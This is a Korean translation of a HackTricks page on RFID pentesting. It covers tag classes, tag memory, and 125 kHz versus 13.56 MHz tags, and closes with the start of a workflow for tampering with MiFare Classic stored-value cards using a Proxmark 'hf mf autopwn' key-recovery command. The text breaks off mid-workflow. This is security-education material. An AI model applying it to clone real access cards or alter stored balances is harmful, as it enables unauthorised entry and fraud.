Pentesting RFID

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์†Œ๊ฐœ

**Radio Frequency Identification (RFID)**๋Š” ๊ฐ€์žฅ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๋‹จ๊ฑฐ๋ฆฌ ๋ฌด์„  ์†”๋ฃจ์…˜์ž…๋‹ˆ๋‹ค. ์ฃผ๋กœ ์—”ํ„ฐํ‹ฐ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ  ์ „์†กํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

RFID ํƒœ๊ทธ๋Š” ์ž์ฒด ์ „์›( active )(๋‚ด์žฅ ๋ฐฐํ„ฐ๋ฆฌ ๋“ฑ)์— ์˜์กดํ•  ์ˆ˜ ์žˆ๊ณ , ๋˜๋Š” ๋ฆฌ๋” ์•ˆํ…Œ๋‚˜๋กœ๋ถ€ํ„ฐ ์ˆ˜์‹ ๋œ ์ „ํŒŒ์—์„œ **์œ ๋„๋œ ์ „๋ฅ˜( passive )**๋กœ ์ „์›์„ ๊ณต๊ธ‰๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํด๋ž˜์Šค

EPCglobal์€ RFID ํƒœ๊ทธ๋ฅผ ์—ฌ์„ฏ ๊ฐœ ์นดํ…Œ๊ณ ๋ฆฌ๋กœ ๋‚˜๋ˆ•๋‹ˆ๋‹ค. ๊ฐ ์นดํ…Œ๊ณ ๋ฆฌ์˜ ํƒœ๊ทธ๋Š” ์ด์ „ ์นดํ…Œ๊ณ ๋ฆฌ์— ์žˆ๋Š” ๋ชจ๋“  ๊ธฐ๋Šฅ์„ ํฌํ•จํ•˜๋ฏ€๋กœ ํ•˜์œ„ ํ˜ธํ™˜๋ฉ๋‹ˆ๋‹ค.

  • Class 0 ํƒœ๊ทธ๋Š” passive์ด๋ฉฐ UHF ๋Œ€์—ญ์—์„œ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ œ์กฐ์‚ฌ์—์„œ ์‚ฌ์ „ ํ”„๋กœ๊ทธ๋ž˜๋ฐ(preprograms) ๋˜์–ด ๋‚˜์˜ค๋ฏ€๋กœ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ๋œ ์ •๋ณด๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
  • Class 1 ํƒœ๊ทธ๋Š” HF ๋Œ€์—ญ์—์„œ๋„ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์ƒ์‚ฐ ํ›„ **ํ•œ ๋ฒˆ๋งŒ ์“ฐ๊ธฐ(write once)**๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ Class 1 ํƒœ๊ทธ๋Š” ์ˆ˜์‹ ํ•œ ๋ช…๋ น์˜ **CRC(CRCs)**๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. CRC๋Š” ์˜ค๋ฅ˜ ๊ฒ€์ถœ์„ ์œ„ํ•œ ๋ช…๋ น ๋์˜ ๋ช‡ ๋ฐ”์ดํŠธ์ž…๋‹ˆ๋‹ค.
  • Class 2 ํƒœ๊ทธ๋Š” **์—ฌ๋Ÿฌ ๋ฒˆ ๊ธฐ๋ก(write multiple times)**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Class 3 ํƒœ๊ทธ๋Š” ํ˜„์žฌ ์˜จ๋„๋‚˜ ํƒœ๊ทธ์˜ ๋™์ž‘๊ณผ ๊ฐ™์€ ํ™˜๊ฒฝ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๊ธฐ๋กํ•  ์ˆ˜ ์žˆ๋Š” ๋‚ด์žฅ ์„ผ์„œ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํƒœ๊ทธ๋Š” semi-passive๋กœ, ๋‚ด์žฅ ๋ฐฐํ„ฐ๋ฆฌ ๊ฐ™์€ ์ „์›์€ ์žˆ์ง€๋งŒ ๋‹ค๋ฅธ ํƒœ๊ทธ๋‚˜ ๋ฆฌ๋”์™€ ๋ฌด์„  ํ†ต์‹ ์„ ์‹œ์ž‘ํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค.
  • Class 4 ํƒœ๊ทธ๋Š” ๋™์ผ ํด๋ž˜์Šค์˜ ๋‹ค๋ฅธ ํƒœ๊ทธ์™€ ํ†ต์‹ ์„ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์–ด active tags๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.
  • Class 5 ํƒœ๊ทธ๋Š” ๋‹ค๋ฅธ ํƒœ๊ทธ์— ์ „์›์„ ๊ณต๊ธ‰ํ•˜๊ณ  ์ด์ „ ํด๋ž˜์Šค์˜ ๋ชจ๋“  ํƒœ๊ทธ์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Class 5 ํƒœ๊ทธ๋Š” RFID readers๋กœ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RFID ํƒœ๊ทธ์— ์ €์žฅ๋œ ์ •๋ณด

RFID ํƒœ๊ทธ์˜ ๋ฉ”๋ชจ๋ฆฌ๋Š” ๋ณดํ†ต ๋„ค ๊ฐ€์ง€ ์ข…๋ฅ˜์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค: ํƒœ๊ทธ๊ฐ€ ๋ถ€์ฐฉ๋œ ์—”ํ„ฐํ‹ฐ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ์‹๋ณ„ ๋ฐ์ดํ„ฐ(identification data)(์€ํ–‰ ๊ณ„์ขŒ ๋“ฑ ์‚ฌ์šฉ์ž ์ •์˜ ํ•„๋“œ ํฌํ•จ), ์—”ํ„ฐํ‹ฐ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด(supplementary data), ํƒœ๊ทธ ๋‚ด๋ถ€ **๊ตฌ์„ฑ(control data)**์— ์‚ฌ์šฉ๋˜๋Š” ์ œ์–ด ๋ฐ์ดํ„ฐ, ๊ทธ๋ฆฌ๊ณ  ํƒœ๊ทธ์˜ **์ œ์กฐ์‚ฌ ๋ฐ์ดํ„ฐ(manufacturer data)**๋กœ UID์™€ ์ƒ์‚ฐ, ์œ ํ˜•, ๋ฒค๋” ๊ด€๋ จ ์ •๋ณด๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ƒ์—…์šฉ ํƒœ๊ทธ์—์„œ๋Š” ์•ž์˜ ๋‘ ๊ฐ€์ง€ ๋ฐ์ดํ„ฐ๊ฐ€ ๊ฑฐ์˜ ๋ชจ๋‘ ์กด์žฌํ•˜๋ฉฐ, ๋งˆ์ง€๋ง‰ ๋‘ ๊ฐ€์ง€๋Š” ํƒœ๊ทธ ๋ฒค๋”์— ๋”ฐ๋ผ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ISO ํ‘œ์ค€์€ ํƒœ๊ทธ๊ฐ€ ์†ํ•œ ๊ฐ์ฒด์˜ ์ข…๋ฅ˜๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” Application Family Identifier(AFI) ๊ฐ’์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. ISO๊ฐ€ ์ง€์ •ํ•œ ๋˜ ๋‹ค๋ฅธ ์ค‘์š”ํ•œ ๋ ˆ์ง€์Šคํ„ฐ๋Š” ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ์˜ ๋…ผ๋ฆฌ์  ๊ตฌ์„ฑ์„ ์ •์˜ํ•˜๋Š” Data Storage Format Identifier(DSFID)์ž…๋‹ˆ๋‹ค.

๋Œ€๋ถ€๋ถ„์˜ RFID **๋ณด์•ˆ ์ œ์–ด(security controls)**๋Š” ๊ฐ ์‚ฌ์šฉ์ž ๋ฉ”๋ชจ๋ฆฌ ๋ธ”๋ก๊ณผ AFI ๋ฐ DSFID ๊ฐ’์„ ํฌํ•จํ•˜๋Š” ํŠน์ˆ˜ ๋ ˆ์ง€์Šคํ„ฐ์— ๋Œ€ํ•œ ์ฝ๊ธฐ/์“ฐ๊ธฐ ์ž‘์—…์„ **์ œํ•œ(restrict)**ํ•˜๋Š” ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๊ฐ–๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ž ๊ธˆ(lock) ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์ œ์–ด ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ ๋ฒค๋”๊ฐ€ ๋ฏธ๋ฆฌ ์„ค์ •ํ•œ **๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ(default passwords)**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์ง€๋งŒ ํƒœ๊ทธ ์†Œ์œ ์ž๊ฐ€ ์ปค์Šคํ…€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ €ยท๊ณ ์ฃผํŒŒ ํƒœ๊ทธ ๋น„๊ต

Low-Frequency RFID Tags (125kHz)

Low-frequency tags๋Š” ๋ณด์•ˆ์ด ํฌ๊ฒŒ ํ•„์š”ํ•˜์ง€ ์•Š์€ ์‹œ์Šคํ…œ์—์„œ ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค: ๊ฑด๋ฌผ ์ถœ์ž…, ์ธํ„ฐ์ฝค ํ‚ค, ํ—ฌ์Šคํด๋Ÿฝ ๋ฉค๋ฒ„์‹ญ ์นด๋“œ ๋“ฑ. ๋” ๊ธด ์ž‘๋™ ๊ฑฐ๋ฆฌ๋กœ ์ธํ•ด ์œ ๋ฃŒ ์ฃผ์ฐจ ์‹œ์Šคํ…œ์— ํŽธ๋ฆฌํ•˜๊ฒŒ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค: ์šด์ „์ž๊ฐ€ ์นด๋“œ ๋ฅผ ๋ฆฌ๋” ๊ฐ€๊นŒ์ด ๊ฐ€์ ธ๊ฐˆ ํ•„์š” ์—†์ด ๋จผ ๊ฑฐ๋ฆฌ์—์„œ ํŠธ๋ฆฌ๊ฑฐ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด ์ €์ฃผํŒŒ ํƒœ๊ทธ๋Š” ๋งค์šฐ ์›์‹œ์ ์ด๊ณ  ๋ฐ์ดํ„ฐ ์ „์†ก ์†๋„๊ฐ€ ๋‚ฎ์•„ ์ž”์•ก ๊ด€๋ฆฌ๋‚˜ ์•”ํ˜ธํ™” ๊ฐ™์€ ๋ณต์žกํ•œ ์–‘๋ฐฉํ–ฅ ๋ฐ์ดํ„ฐ ์ „์†ก์„ ๊ตฌํ˜„ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ €์ฃผํŒŒ ํƒœ๊ทธ๋Š” ์ธ์ฆ ์ˆ˜๋‹จ ์—†์ด ์งง์€ ID๋งŒ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

์ด ์žฅ์น˜๋“ค์€ passive RFID ๊ธฐ์ˆ ์— ์˜์กดํ•˜๋ฉฐ 30 kHz ~ 300 kHz ๋ฒ”์œ„์—์„œ ๋™์ž‘ํ•˜์ง€๋งŒ, ๋ณดํ†ต์€ 125 kHz ~ 134 kHz๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

  • Long Range โ€” ๋‚ฎ์€ ์ฃผํŒŒ์ˆ˜๋Š” ๋” ๊ธด ๋ฒ”์œ„๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ EM-Marin ๋ฐ HID ๋ฆฌ๋”๋Š” ์ตœ๋Œ€ 1๋ฏธํ„ฐ ๊ฑฐ๋ฆฌ์—์„œ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์ฐจ ์‹œ์Šคํ…œ ๋“ฑ์— ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • Primitive protocol โ€” ๋‚ฎ์€ ๋ฐ์ดํ„ฐ ์ „์†ก ์†๋„๋กœ ์ธํ•ด ์ด๋Ÿฌํ•œ ํƒœ๊ทธ๋Š” ์งง์€ ID๋งŒ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ ๋ฐ์ดํ„ฐ๋Š” ์ธ์ฆ๋˜์ง€ ์•Š์œผ๋ฉฐ ์–ด๋– ํ•œ ๋ณดํ˜ธ๋„ ์—†์Šต๋‹ˆ๋‹ค. ์นด๋“œ๊ฐ€ ๋ฆฌ๋” ๋ฒ”์œ„์— ๋“ค์–ด๊ฐ€๋ฉด ๋‹จ์ˆœํžˆ ID๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.
  • Low security โ€” ์ด ์นด๋“œ๋“ค์€ ํ”„๋กœํ† ์ฝœ์˜ ์›์‹œ์„ฑ ๋•Œ๋ฌธ์— ์‰ฝ๊ฒŒ ๋ณต์ œ๋˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ์ฃผ๋จธ๋‹ˆ์—์„œ๋„ ์ฝํž ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Popular 125 kHz protocols:

  • EM-Marin โ€” EM4100, EM4102. CIS ์ง€์—ญ์—์„œ ๊ฐ€์žฅ ์ธ๊ธฐ ์žˆ๋Š” ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ๋‹จ์ˆœ์„ฑ๊ณผ ์•ˆ์ •์„ฑ ๋•Œ๋ฌธ์— ์•ฝ 1๋ฏธํ„ฐ ๊ฑฐ๋ฆฌ์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • HID Prox II โ€” HID Global์ด ๋„์ž…ํ•œ ์ €์ฃผํŒŒ ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ์„œ๊ตฌ๊ถŒ์—์„œ ๋” ์ธ๊ธฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ๋” ๋ณต์žกํ•˜๋ฉฐ ์ด ํ”„๋กœํ† ์ฝœ์šฉ ์นด๋“œ์™€ ๋ฆฌ๋”๋Š” ์ƒ๋Œ€์ ์œผ๋กœ ๋น„์Œ‰๋‹ˆ๋‹ค.
  • Indala โ€” Motorola๊ฐ€ ๋„์ž…ํ•˜๊ณ  ๋‚˜์ค‘์— HID๊ฐ€ ์ธ์ˆ˜ํ•œ ์˜ค๋ž˜๋œ ์ €์ฃผํŒŒ ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ์•ž์˜ ๋‘ ํ”„๋กœํ† ์ฝœ๋ณด๋‹ค ์‚ฌ์šฉ ๋นˆ๋„๊ฐ€ ์ค„์–ด๋“ค๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ค์ œ๋กœ ์ €์ฃผํŒŒ ํ”„๋กœํ† ์ฝœ์€ ํ›จ์”ฌ ๋” ๋งŽ์ง€๋งŒ, ๋ฌผ๋ฆฌ ๊ณ„์ธต์—์„œ ๋™์ผํ•œ ๋ณ€์กฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ์œ„์— ์—ด๊ฑฐ๋œ ํ”„๋กœํ† ์ฝœ์˜ ๋ณ€ํ˜•์œผ๋กœ ๊ฐ„์ฃผ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ

์ด ํƒœ๊ทธ๋“ค์€ Flipper Zero๋กœ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

High-frequency tags๋Š” ์•”ํ˜ธํ™”, ๋Œ€์šฉ๋Ÿ‰ ์–‘๋ฐฉํ–ฅ ๋ฐ์ดํ„ฐ ์ „์†ก, ์ธ์ฆ ๋“ฑ ๋ณต์žกํ•œ ๋ฆฌ๋”-ํƒœ๊ทธ ์ƒํ˜ธ์ž‘์šฉ์ด ํ•„์š”ํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ฃผ๋กœ ์€ํ–‰ ์นด๋“œ, ๋Œ€์ค‘๊ตํ†ต, ๊ธฐํƒ€ ๋ณด์•ˆ ํŒจ์Šค์—์„œ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

High-frequency 13.56 MHz tags are a set of standards and protocols. ์ด๋“ค์„ ๋ณดํ†ต NFC๋ผ๊ณ  ๋ถ€๋ฅด์ง€๋งŒ ํ•ญ์ƒ ์ •ํ™•ํ•œ ํ‘œํ˜„์€ ์•„๋‹™๋‹ˆ๋‹ค. ๋ฌผ๋ฆฌ ๋ฐ ๋…ผ๋ฆฌ ๋ ˆ๋ฒจ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ๋ณธ ํ”„๋กœํ† ์ฝœ ์„ธํŠธ๋Š” ISO 14443์ž…๋‹ˆ๋‹ค. ์ƒ์œ„ ์ˆ˜์ค€์˜ ํ”„๋กœํ† ์ฝœ๊ณผ ๋Œ€์ฒด ํ‘œ์ค€(์˜ˆ: ISO 19092)์€ ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ์‚ฌ๋žŒ๋“ค์ด ์ด ๊ธฐ์ˆ ์„ 13.56 MHz ๋Œ€์—ญ์—์„œ ๋™์ž‘ํ•˜๋Š” ๊ธฐ๊ธฐ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์šฉ์–ด์ธ NFC(Near Field Communication)๋กœ ๋ถ€๋ฆ…๋‹ˆ๋‹ค.

๊ฐ„๋‹จํžˆ ๋งํ•˜๋ฉด, NFC์˜ ์•„ํ‚คํ…์ฒ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: ์ „์†ก ํ”„๋กœํ† ์ฝœ์€ ์นด๋“œ๋ฅผ ๋งŒ๋“œ๋Š” ํšŒ์‚ฌ๊ฐ€ ์„ ํƒํ•˜์—ฌ ์ €์ˆ˜์ค€ ISO 14443๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด NXP๋Š” ์ž์ฒด ๊ณ ์ˆ˜์ค€ ์ „์†ก ํ”„๋กœํ† ์ฝœ์ธ Mifare๋ฅผ ๋งŒ๋“ค์—ˆ์ง€๋งŒ, ์ €์ˆ˜์ค€์—์„œ๋Š” Mifare ์นด๋“œ๊ฐ€ ISO 14443-A ํ‘œ์ค€์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

Flipper๋Š” ์ €์ˆ˜์ค€ ISO 14443 ํ”„๋กœํ† ์ฝœ๊ณผ Mifare Ultralight ๋ฐ์ดํ„ฐ ์ „์†ก ํ”„๋กœํ† ์ฝœ ๋ฐ ์€ํ–‰ ์นด๋“œ์— ์‚ฌ์šฉ๋˜๋Š” EMV์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” Mifare Classic๊ณผ NFC NDEF ์ง€์›์„ ์ถ”๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด ์ž‘์—… ์ค‘์ž…๋‹ˆ๋‹ค. NFC๋ฅผ ๊ตฌ์„ฑํ•˜๋Š” ํ”„๋กœํ† ์ฝœ๊ณผ ํ‘œ์ค€์„ ์ฒ ์ €ํžˆ ์‚ดํŽด๋ณด๋Š” ๊ฒƒ์€ ๋ณ„๋„์˜ ๊ธฐ์‚ฌ๋กœ ๋‹ค๋ฃฐ ๊ฐ€์น˜๊ฐ€ ์žˆ์œผ๋ฉฐ ์ถ”ํ›„ ๊ฒŒ์‹œํ•  ์˜ˆ์ •์ž…๋‹ˆ๋‹ค.

ISO 14443-A ํ‘œ์ค€์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ ๋ชจ๋“  ๊ณ ์ฃผํŒŒ ์นด๋“œ๋Š” ๊ณ ์œ ํ•œ ์นฉ ID๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ์ด๋Š” ๋„คํŠธ์›Œํฌ ์นด๋“œ์˜ MAC ์ฃผ์†Œ์ฒ˜๋Ÿผ ์นด๋“œ์˜ ์ผ๋ จ๋ฒˆํ˜ธ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„ UID๋Š” 4๋ฐ”์ดํŠธ ๋˜๋Š” 7๋ฐ”์ดํŠธ ๊ธธ์ด์ด์ง€๋งŒ ๋“œ๋ฌผ๊ฒŒ ์ตœ๋Œ€ 10๋ฐ”์ดํŠธ๊นŒ์ง€ ๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. UID๋Š” ๋น„๋ฐ€์ด ์•„๋‹ˆ๋ฉฐ ์‰ฝ๊ฒŒ ์ฝ์„ ์ˆ˜ ์žˆ๊ณ , ๋•Œ๋กœ๋Š” ์นด๋“œ ์ž์ฒด์— ์ธ์‡„๋˜์–ด ์žˆ๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค.

๋งŽ์€ ์ถœ์ž… ํ†ต์ œ ์‹œ์Šคํ…œ์ด UID์— ์˜์กดํ•˜์—ฌ ์ธ์ฆ ๋ฐ ์ ‘๊ทผ ํ—ˆ๊ฐ€๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋•Œ๋กœ๋Š” RFID ํƒœ๊ทธ๊ฐ€ ์•”ํ˜ธํ™”๋ฅผ ์ง€์›ํ•˜๋”๋ผ๋„ UID๋งŒ์œผ๋กœ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋Š” ์‚ฌ๋ก€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฐ ์˜ค์šฉ์€ ๋ณด์•ˆ ๋ฉด์—์„œ ํ•ด๋‹น ์‹œ์Šคํ…œ์„ ๋‹จ์ˆœํ•œ 125 kHz ์นด๋“œ ์ˆ˜์ค€์œผ๋กœ ๋Œ์–ด๋‚ด๋ฆฝ๋‹ˆ๋‹ค. ๊ฐ€์ƒ ์นด๋“œ(์˜ˆ: Apple Pay)๋Š” ๋™์  UID๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ „ํ™” ์‚ฌ์šฉ์ž๊ฐ€ ๊ฒฐ์ œ ์•ฑ์œผ๋กœ ๋ฌธ์„ ์—ด ์ˆ˜ ์—†๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

  • Low range โ€” ๊ณ ์ฃผํŒŒ ์นด๋“œ๋Š” ๋ฆฌ๋”์— ๊ฐ€๊นŒ์ด ๊ฐ€์ ธ๊ฐ€์•ผ๋งŒ ๋™์ž‘ํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฌด๋‹จ ์ƒํ˜ธ์ž‘์šฉ์œผ๋กœ๋ถ€ํ„ฐ ์นด๋“œ๋ฅผ ๋ณดํ˜ธํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ๋‹ฌ์„ฑํ•œ ์ตœ๋Œ€ ์ฝ๊ธฐ ๊ฑฐ๋ฆฌ๋Š” ์•ฝ 15 cm์˜€๊ณ , ์ด๋Š” ๋งž์ถค ์ œ์ž‘๋œ ์žฅ๊ฑฐ๋ฆฌ ๋ฆฌ๋”๋ฅผ ์‚ฌ์šฉํ–ˆ์„ ๋•Œ์ž…๋‹ˆ๋‹ค.
  • Advanced protocols โ€” ์ตœ๋Œ€ 424 kbps์˜ ๋ฐ์ดํ„ฐ ์ „์†ก ์†๋„๋กœ ๋ณต์žกํ•œ ํ”„๋กœํ† ์ฝœ๊ณผ ์™„์ „ํ•œ ์–‘๋ฐฉํ–ฅ ๋ฐ์ดํ„ฐ ์ „์†ก์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์•”ํ˜ธํ™”๋‚˜ ๋ฐ์ดํ„ฐ ์ „์†ก ๋“ฑ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • High security โ€” ๊ณ ์ฃผํŒŒ ๋น„์ ‘์ด‰ ์นด๋“œ์˜ ๋ณด์•ˆ์„ฑ์€ ์Šค๋งˆํŠธ ์นด๋“œ์™€ ๋น„๊ตํ•ด ์ „ํ˜€ ๋’ค์ฒ˜์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. AES ๊ฐ™์€ ๊ฐ•๋ ฅํ•œ ์•”ํ˜ธ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ์ง€์›ํ•˜๊ณ  ๋น„๋Œ€์นญ ์•”ํ˜ธํ™”๋ฅผ ๊ตฌํ˜„ํ•˜๋Š” ์นด๋“œ๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ

์ด ํƒœ๊ทธ๋“ค์€ Flipper Zero๋กœ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

FZ - NFC

๋˜๋Š” proxmark๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

์‹œ์Šคํ…œ์ด MiFare Classic ์นด๋“œ์— ๊ธˆ์ „ ์ž”์•ก์„ ์ง์ ‘ ์ €์žฅํ•  ๊ฒฝ์šฐ, Classic์ด NXP์˜ ๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š๋Š” Crypto1 ์•”ํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ข…์ข… ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Crypto1์€ ์ˆ˜๋…„ ์ „๋ถ€ํ„ฐ ๊นจ์ ธ ์™”์œผ๋ฉฐ, sector keys ๋ณต๊ตฌ์™€ ์นด๋“œ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ „์ฒด ์ฝ๊ธฐ/์“ฐ๊ธฐ๋ฅผ ์ผ๋ฐ˜ ํ•˜๋“œ์›จ์–ด(์˜ˆ: Proxmark3)๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์—”๋“œํˆฌ์—”๋“œ ์›Œํฌํ”Œ๋กœ์šฐ(์š”์•ฝ):

  1. ์›๋ณธ ์นด๋“œ๋ฅผ ๋คํ”„ํ•˜๊ณ  ํ‚ค๋ฅผ ๋ณต๊ตฌ
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

์ด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ sector keys (A/B)๋ฅผ ๋ณต๊ตฌํ•˜๊ณ  client dumps folder์— full-card dump๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

  1. ๊ฐ’/๋ฌด๊ฒฐ์„ฑ ํ•„๋“œ๋ฅผ ์ฐพ๊ณ  ์ดํ•ดํ•˜๊ธฐ
  • ์›๋ณธ ์นด๋“œ์— ํ•ฉ๋ฒ•์ ์ธ top-ups์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์—ฌ๋Ÿฌ ๋ฒˆ์˜ dumps(์ถฉ์ „ ์ „/ํ›„)๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.
